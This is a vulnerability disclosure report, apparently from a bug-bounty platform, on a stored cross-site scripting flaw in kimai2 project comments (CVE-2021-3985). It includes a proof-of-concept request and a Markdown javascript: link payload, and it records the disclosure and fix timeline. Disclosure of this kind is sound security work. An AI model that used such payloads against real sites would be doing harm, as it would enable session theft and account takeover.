Cross-site Scripting (XSS) - Stored in kevinpapst/kimai2



0

Description

Stored XSS via Markdown at the comment in Project

Proof of Concept

// PoC.req

POST /kimai2/public/en/admin/project/3/comment_add HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

 ${\tt Content-Type: application/x-www-form-urlencoded}$

Content-Length: 159 Origin: http://127.0.0.1 Connection: close

Referer: http://127.0.0.1/kimai2/public/en/admin/project/3/details

Cookie: PHPSESSID=j5phlsvo13ou7dqv96ibtabq9o

Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1



Step to Reproduce

Create a new project at comment section input with payload: [XSS](javascript:alert(`XSS`)) The XSS will trigger when the user click on the content of comment

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

References

• Stored Cross Site Scripting

CVE

CVE-2021-3985

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

Severity

High (8)

Visibility

Public

Status

Found by



Fixed by



We are processing your report and will contact the kevinpapst/kimai2 team within 24 hours, a year ago	
lethanhphuc modified the report a year ago	
lethanhphuc modified the report a year ago	
We have contacted a member of the kevinpapst/kimai2 team and are waiting to hear back a year ago	
lethanhphuc submitted a patch a year ago	
lethanhphuc a year ago Researcher	
PR: https://github.com/kevinpapst/kimai2/pull/2952	
Kevin Papst validated this vulnerability a year ago	
lethanhphuc has been awarded the disclosure bounty 🗸	
The fix bounty is now up for grabs	
Kevin Papst marked this as fixed in 1.16.3 with commit 76e094 a year ago	
Kevin Papst has been awarded the fix bounty 🗸	
This vulnerability will not receive a CVE 🗶	
Jamie Slome ayearago Admin	
CVE published! 🥦	
Sign in to join this convergation	

2022 © 418sec

huntr	part of 418sec